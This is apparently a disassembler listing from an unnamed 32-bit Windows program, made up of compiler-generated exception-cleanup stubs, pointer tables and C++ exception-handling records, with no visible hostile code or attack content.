; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CC88: ; DATA XREF: ___:00442D6Co
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429450 proc near ; DATA XREF: sub_429450+2o
mov eax, offset dword_442D40
jmp sub_437AB8
SEH_429450 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014BA
; ---------------------------------------------------------------------------
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CDB2: ; DATA XREF: ___:004295B8o
mov eax, offset dword_442D80
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o
mov eax, offset dword_442E68
jmp sub_437AB8
SEH_42ACB0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o
mov eax, offset dword_442E98
jmp sub_437AB8
SEH_42AD90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o
mov eax, offset dword_442EC8
jmp sub_437AB8
SEH_42AFF0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B380 proc near ; DATA XREF: sub_42B380+2o
mov eax, offset dword_442EF8
jmp sub_437AB8
SEH_42B380 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B440 proc near ; DATA XREF: sub_42B440+8o
mov eax, offset dword_442F28
jmp sub_437AB8
SEH_42B440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o
mov eax, offset dword_442F58
jmp sub_437AB8
SEH_42C1B0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43CEB0: ; DATA XREF: ___:0042C2C5o
mov eax, offset dword_442FB8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CEC8: ; DATA XREF: ___:00443044o
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C350 proc near ; DATA XREF: sub_42C350+2o
mov eax, offset dword_443018
jmp sub_437AB8
SEH_42C350 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C530 proc near ; DATA XREF: sub_42C530+2o
mov eax, offset dword_443058
jmp sub_437AB8
SEH_42C530 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CF28: ; DATA XREF: ___:0042C5D2o
mov eax, offset dword_443088
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C770 proc near ; DATA XREF: sub_42C770+2o
mov eax, offset dword_4430B8
jmp sub_437AB8
SEH_42C770 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
mov eax, offset dword_4430E8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o
mov eax, offset dword_443118
jmp sub_437AB8
SEH_42CB70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o
mov eax, offset dword_443148
jmp sub_437AB8
SEH_42CE60 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D0A4: ; DATA XREF: ___:0042D158o
mov eax, offset dword_4431A0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o
mov eax, offset dword_443288
jmp sub_437AB8
SEH_435AA0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D10B: ; DATA XREF: ___:004432ECo
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D116: ; DATA XREF: ___:00435B98o
mov eax, offset dword_4432C0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o
mov eax, offset dword_4432F8
jmp sub_437AB8
SEH_4364D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o
mov eax, offset dword_443328
jmp sub_437AB8
SEH_4368D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o
mov eax, offset dword_443360
jmp sub_437AB8
SEH_4369E0 endp
; ---------------------------------------------------------------------------
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db '',0
align 4
dd 31Bh dup(0)
off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo
off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o
off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o
off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o
; sub_409C20+Bo ...
off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o
; sub_40AEF0+1Co
dd offset byte_437AC0
align 10h
off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o
; sub_40B250+1Eo
flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r
off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o
; sub_40FE70+1Do
dd offset sub_402149
dd 0
off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o
; sub_40FE70+23o
off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o
; sub_4119E0+1Do
dd offset loc_402004
dd 0
off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do
; sub_4132F0+1Fo
dd offset sub_401D0C
align 10h
off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o
; sub_417EF0+8o
dd offset sub_4020C7
dd 0
off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o
; sub_417F20+8o
dd offset sub_401230
align 8
off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o
dd offset sub_401CF3
dd 0
off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o
; sub_4191B0+36o
off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o
off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo
off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o
off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo
off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo
off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo
off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o
off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo
off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo
off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o
off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo
off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o
off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o
off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo
dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r
dd 0
off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo
; sub_41A210+6o
off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o
; ___:0041B58Do
dd offset sub_401686
align 10h
off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o
; sub_41D860+1Do
dd offset sub_401C94
dd 0
off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o
dd offset sub_401A78
dd offset sub_401A50
dd 0
off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao
; sub_427850+1Do
dd offset sub_401A78
dd offset byte_437AC0
dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Ah, 40h, 0
dd offset sub_401A78
dd offset sub_401366
dd 0
off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o
dd offset sub_401A78
dd offset sub_401EB0
dd 0
off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o
dd offset sub_401A78
dd offset sub_401A14
dd 0
off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4015B9
dd 0
off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao
; sub_4291E0+1Do
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset byte_437AC0
dd 0
off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo
; sub_429540+10o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_401D3E
dd 0
off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o
; sub_42AD50+9o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40137A
dd 0
off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4010AF
dd 0
off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40189D
dd 0
off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o
dword_43F190 dd 0 dd 8, 0
off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o
off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_40134D
align 10h
off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_401537
align 10h
dd offset loc_4015FA
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4019F1
align 10h
dd offset dword_43F348
off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o
; ___:off_4448A8o ...
dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0)
off_43F318 dd offset off_448CA0 ; DATA XREF: ___:0043F330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43F318
dd 0
db 0 ; DATA XREF: ___:0043F358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43F330h
dword_43F348 dd 3 dup(0) dd offset off_448CA0
dd offset unk_43F338
dd 45h dup(0)
dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0
dd offset dword_4382CC+0B24h
dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0
dd offset loc_438E6B
dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh
dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h
dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h
dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah
dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh
dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h
dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h
dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah
dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh
dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h
dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h
dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah
dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0)
dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0
dd offset loc_4392B8
dd 2 dup(0)
dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0
dd offset loc_4392E8
align 10h
dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0)
dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0
dd offset loc_439338
dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
dd 2 dup(0)
dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0
dd offset loc_4393B8
dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
dd 2 dup(0)
dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh
dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0)
dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0
dd offset loc_4394F8
dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h
dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh
dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0)
dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0
dd offset loc_43957B
dd 0
dd offset loc_439586
dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h
dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h
dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh
dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch
dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh
dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh
dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh
dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h
dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h
dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h
dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0)
dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0
dd offset loc_439820
align 10h
dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0
dd offset loc_439860
dd 2 dup(0)
dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0
dd offset loc_4398AB
dd 0
dd offset loc_4398B6
dd 2 dup(0)
dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0)
dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0)
dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0
dd offset loc_439928
align 10h
dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0
dd offset loc_43994B
dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh
dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h
dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h
dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah
dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh
dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh
dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh
dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh
dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh
dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh
dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh
dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah
dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh
dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh
dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h
dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh
dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh
dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h
dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0)
dd offset off_4448A8
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 437AF0h, 2 dup(0)
dd offset off_4448C8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F1Ah, 2 dup(0)
dd offset off_4448F0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F20h, 0
dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o
dd offset dword_437EC4+62h
dd 0
dd offset dword_440070
align 10h
dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0)
dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0)
dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0
dd offset loc_439D87
dd 1, 439D8Fh, 2 dup(0)
byte_440140 db 20h ; DATA XREF: ___:loc_439DB9o
db 5, 93h, 19h
dd 1, 440160h, 5 dup(0)
dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4401B8h, 4 dup(0)
dd offset sub_40AF32
align 10h
dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 440218h, 4 dup(0)
dd offset sub_40B0B1
align 10h
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0
dd offset loc_439DFB
dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0
dd offset loc_439E4B
dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh
dd 439EA0h, 2 dup(0)
dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0
dd offset loc_439EC8
dd 1, 439ED0h, 2 dup(0)
